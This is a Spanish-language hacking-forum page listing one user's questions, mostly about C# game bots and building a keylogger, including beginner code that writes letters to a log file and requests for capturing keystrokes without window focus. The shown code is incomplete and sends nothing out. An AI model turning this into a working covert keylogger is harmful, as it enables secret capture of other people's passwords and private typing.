elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Temas
Páginas: [1]
1  Comunicaciones / Redes / Solucionar problema de lentitud entre redes en: 8 Marzo 2011, 16:05 pm
Buenas, mi problema es el siguiente, en casa tengo 1 router zyxel gestionado por imagenio y 2 PC's que se conectan a el inalambricamente via wifi, cuando uno de los dos PC's se pone a descargar/poner web cams/ver videos/ el otro pc sufre una lentitud brutal dejandolo casi sin internet, mi pregunta es como podría limitar el ancho o la velocidad a esta maquina para que no pueda abusar de la conexión y ambas maquinas puedan tener un internet decente.

Gracias de antemano
2  Programación / .NET (C#, VB.NET, ASP) / c# creacion de bots para juegos? en: 9 Junio 2010, 01:58 am
Hola, hace poco senti una curiosidad sobre este tema, me gustaria saber el funcionamiento de un bot en un juego, es decir como desde mi aplicacion mandar ordenes que el juego entienda y las ejecute, me gustaria saber por donde empezar a buscar informacion sobre este tema, como interpretar las ordenes del juego para adaptarlas a mi programa y como conectarlos entre si, si alguien me pudiera orientar estaria agredcido!
3  Programación / .NET (C#, VB.NET, ASP) / C# recoger datos de otra aplicacion? en: 16 Mayo 2010, 01:07 am
Hola, tenia la duda de si aparte de mandar un clic o una tecla a una aplicacion, hacer esto un poco mas complejo, por ejemplo en un juego flash seria posible saber que esta pasando para hacer una cosa u otra? ejemplo: dentro del juego puedes talar un arbol y este alcabo de X tiempo reaparece, seria posible saber cuando a aparecido y talarlo de nuevo por ejemplo?
4  Programación / .NET (C#, VB.NET, ASP) / Sobre hookear teclado en c# en: 15 Mayo 2010, 04:21 am
Hola, he estado buscando informacion sobre esto y la verdad no encuentro lo que busco explicado de una forma detallada para alguien que se inicia, he leido que debes importar la dll user32 y usar GetAsyncKeyState pero no entiendo como recibo el parametro de la letra pulsada y como lo compruebo cada vez que se pulsa una tecla, si alguien pudiera explicarmelo o enseñarme un codigo con comentarios le estaria bien agradecido.
5  Programación / .NET (C#, VB.NET, ASP) / Ayuda con este codigo! c# en: 14 Mayo 2010, 17:31 pm
Hola, estoy intentando crear un codigo simple de un keylogger, lo malo que solo funciona si esta en focus la pantalla y como soy novato y no se usar muy bien el hook queria saber si se puede ejecutar teniendolo minimizado o sin focus, tambien he leido que se puede hacer con un thread si alguien podria enseñarme algun ejemplo... el codigo que tengo de momento es esto:

Código:
Option Strict Off
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;


namespace Key
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
 

        }
      
      
        private void Form1_KeyDown(object sender, KeyEventArgs e)
        {

            if (this.WindowState == FormWindowState.Minimized)
            {
                StreamWriter sw = new StreamWriter(@"z:\log.txt", true);
                if (e.KeyData == Keys.A)
                {
                    sw.Write("A");
                }
                else if (e.KeyData == Keys.B)
                {
                    sw.Write("B");
                }
                else if (e.KeyData == Keys.C)
                {
                    sw.Write("C");
                }
                else if (e.KeyData == Keys.D)
                {
                    sw.Write("D");
                }
                else if (e.KeyData == Keys.E)
                {
                    sw.Write("E");
                }
                else if (e.KeyData == Keys.F)
                {
                    sw.Write("F");
                }
                else if (e.KeyData == Keys.G)
                {
                    sw.Write("G");
                }
                else if (e.KeyData == Keys.H)
                {
                    sw.Write("H");
                }
                else if (e.KeyData == Keys.I)
                {
                    sw.Write("I");
                }
                else if (e.KeyData == Keys.J)
                {
                    sw.Write("J");
                }
                else if (e.KeyData == Keys.K)
                {
                    sw.Write("K");
                }
                else if (e.KeyData == Keys.L)
                {
                    sw.Write("L");
                }
                else if (e.KeyData == Keys.M)
                {
                    sw.Write("M");
                }
                else if (e.KeyData == Keys.N)
                {
                    sw.Write("N");
                }

                else if (e.KeyData == Keys.O)
                {
                    sw.Write("O");
                }
                else if (e.KeyData == Keys.P)
                {
                    sw.Write("P");
                }
                else if (e.KeyData == Keys.Q)
                {
                    sw.Write("Q");
                }
                else if (e.KeyData == Keys.R)
                {
                    sw.Write("R");
                }
                else if (e.KeyData == Keys.S)
                {
                    sw.Write("S");
                }
                else if (e.KeyData == Keys.T)
                {
                    sw.Write("T");
                }
                else if (e.KeyData == Keys.U)
                {
                    sw.Write("U");
                }
                else if (e.KeyData == Keys.V)
                {
                    sw.Write("V");
                }
                else if (e.KeyData == Keys.W)
                {
                    sw.Write("W");
                }
                else if (e.KeyData == Keys.X)
                {
                    sw.Write("X");
                }
                else if (e.KeyData == Keys.Y)
                {
                    sw.Write("Y");
                }
                else if (e.KeyData == Keys.Z)
                {
                    sw.Write("Z");
                }
                else if (e.KeyData == Keys.Space)
                {
                    sw.Write(" ");
                }
                sw.Close();
            }
                
          
        }
    }
}
Gracias de antemano
6  Programación / Programación General / Sobre getasynckeystate en c# en: 14 Mayo 2010, 03:18 am
Esube buscando ejemplos sobre esta funcion en c sharp por varios sitios pero lo que encontre no me sirve y no encontre suficiente informacion como para comprenderlo, queria hacer un mini programa parecido a un keylogger que al pulsar una tecla me escribiera en la consola cual ha sido pulsada sin usar readline ni tener la consola enfocada, alguien me podria pasar un ejemplo sobre esto o explicarme como funciona? gracias de antemano
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines